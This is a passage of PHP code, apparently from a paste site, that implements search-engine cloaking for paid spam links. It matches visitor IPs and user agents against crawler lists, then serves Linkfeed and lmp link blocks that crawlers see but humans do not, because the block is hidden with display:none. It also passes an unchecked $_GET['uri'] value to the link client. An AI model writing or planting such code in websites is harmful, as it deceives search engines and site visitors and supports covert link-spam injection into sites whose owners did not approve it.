  778.                 "64\.233\.1[6-9][0-9]\.[0-9]+", // Google   NetRange:   64.233.160.0 - 64.233.191.255
  779.                 "66\.192\.[0-9]+\.[0-9]+",
  780.                 "64\.128\.[0-9]+\.[0-9]+",
  781.                 "209\.185\.253\.1[6-8][1-9]",
  782.                 "209\.185\.108\.1[6-8][1-9]",
  783.                 "64\.68\.8[0-2]\.[0-9]+",
  784.                 "66\.249\.[6-7][1-9]\.[0-9]+",
  785.                
  786.                 "65\.5[2-5]\.[0-9]+\.[0-9]+",   // MSN      NetRange:   65.52.0.0 - 65.55.255.255,
  787.                 "74\.6\.[0-9]+\.[0-9]+",        // Yahoo    NetRange:   74.6.0.0 - 74.6.255.255
  788.                 "67\.195\.[0-9]+\.[0-9]+",      // Yahoo#2  NetRange:   67.195.0.0  - 67.195.255.255
  789.                 "72\.30\.[0-9]+\.[0-9]+",       // Yahoo#3  NetRange:   72.30.0.0 - 72.30.255.255
  790.                 "38\.[0-9]+\.[0-9]+\.[0-9]+",   // Cuill:   NetRange:   38.0.0.0 - 38.255.255.255
  791.                 "93\.172\.94\.227",             // MacFinder
  792.                 "212\.100\.250\.218",           // Wells Search II
  793.                 "71\.165\.223\.134",            // Indy Library
  794.                 "70\.91\.180\.25",
  795.                 "65\.93\.62\.242",
  796.                 "74\.193\.246\.129",
  797.                 "213\.144\.15\.38",
  798.                 "195\.92\.229\.2",
  799.                 "70\.50\.189\.191",
  800.                 "218\.28\.88\.99",
  801.                 "165\.160\.2\.20",
  802.                 "89\.122\.224\.230",
  803.                 "66\.230\.175\.124",
  804.                 "218\.18\.174\.27",
  805.                 "65\.33\.87\.94",
  806.                 "67\.210\.111\.241",
  807.                 "81\.135\.175\.70",
  808.                 "64\.69\.34\.134",
  809.                 "89\.149\.253\.169",
  810.                 "66\.36\.243\.182"
  811.             );
  812.             $is_bot = false;
  813.             $stop_agents_masks = array("http", "google", "slurp", "msnbot", "bot", "crawler", "spider", "robot", "HttpClient", "curl", "PHP", "Indy Library", "WordPress");
  814.             $_SERVER["HTTP_USER_AGENT"] = preg_replace("|User.Agent\:[\s ]?|i", "", @$_SERVER["HTTP_USER_AGENT"]);
  815.            
  816.             foreach ($stop_ips_masks as $stop_ip_mask) if(eregi("^{$stop_ip_mask}$", @$_SERVER['REMOTE_ADDR'])) $is_bot = true;
  817.             foreach ($stop_agents_masks as $stop_agents_mask) if(eregi($stop_agents_mask, @$_SERVER["HTTP_USER_AGENT"]) !== false) $is_bot = true;
  818.      
  819.      
  820.      if (gettype($rsp)=='integer' || gettype($qsp) == 'integer' || gettype($rrs)=='integer' || $_SERVER['REMOTE_ADDR']=='81.177.144.46' || $_SERVER['REMOTE_ADDR']=='217.107.36.73' || $_SERVER['REMOTE_ADDR']=='217.107.36.132' || $_SERVER['REMOTE_ADDR']=='87.242.74.101' || $_SERVER['REMOTE_ADDR']=='80.251.136.38' || gettype($ybot)=='integer' || gettype($gbot)=='integer' || $is_bot !== false)  
  821.     {
  822.     echo '<div id="nvorst">';
  823.         setcookie("SESSe7da53566c688d456347","3cca28a37dc22cfff5eab70704ee5301",time()+60*60*24*365);
  824.     }
  825.    
  826.     else
  827.     {
  828.     echo '<style> div#bdd1b7801d9329b2f9d7313381627c70c, div#bdd1b7801d9329b2f9d7313381627c70c a {  font-style: normal; font-family: Verdana, Tahoma, sans-serif; text-decoration: none; display:none; font-weight: normal;
  829. font-size: 8px;   color: gray; text-align: center;
  830.  } </style>';
  831.     echo '<div id="bdd1b7801d9329b2f9d7313381627c70c">';
  832.         }
  833.     }
  834.    
  835.        
  836.        
  837.        
  838.        //
  839.        
  840.        
  841.        define('LINKFEED_USER', '554db95d117935c21bf94edd0c5c791bc27543b6');
  842.        $q['charset'] = 'UTF-8';
  843.        //$q['request_uri'] = ((isset($_SERVER['REDIRECT_URL'])) ? $_SERVER['REDIRECT_URL'] : '');
  844.        $q['request_uri'] = $_GET['uri'];
  845.        //$q['request_uri'] = getenv('request_uri');
  846.        //$q['request_uri'] = $_SERVER['SCRIPT_URL'];
  847.        //$q['host'] = '';
  848.        //$q[ 'verbose' ] = true;
  849.        //$q[ "force_show_code" ] = true;
  850.        //$q['fetch_remote_type']='curl'; //[file_get_contents|curl|socket]
  851.         $linkfeed = new LinkfeedClient( $q );
  852.         echo $linkfeed->return_links();
  853.        
  854.      
  855.      
  856.        
  857.        echo '</div>';
  858.        
  859.        
  860.        
  861.        
  862.        ///end linkfeed
  863.  
  864.  
  865. echo '<style> div#bdd1b7801d9329b2f9d7313381627c70c, div#bdd1b7801d9329b2f9d7313381627c70c a {  font-style: normal; font-family: Verdana, Tahoma, sans-serif; text-decoration: none; display:none; font-weight: normal; font-size: 8px;   color: gray; text-align: center;} </style>';
  866.     echo '<div id="bdd1b7801d9329b2f9d7313381627c70c">';   
  867.    
  868.    //$o['charset'] = 'UTF-8';
  869.         //$o['request_uri'] = ((isset($_SERVER['REDIRECT_URL'])) ? $_SERVER['REDIRECT_URL'] : '');
  870.         $q['request_uri'] = $_GET['uri'];
  871.         //$o[ "force_show_code" ] = true;
  872.         //$o['fetch_remote_type']='curl'; //[file_get_contents|curl|socket]
  873.         $lmp = new lmp_client( $o );
  874.         print $lmp->print_links();
  875.         unset($o);
  876.    
  877.    
  878.    echo '</div>';
  879.  
  880.  
  881.  
  882.  
  883. }
  884. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement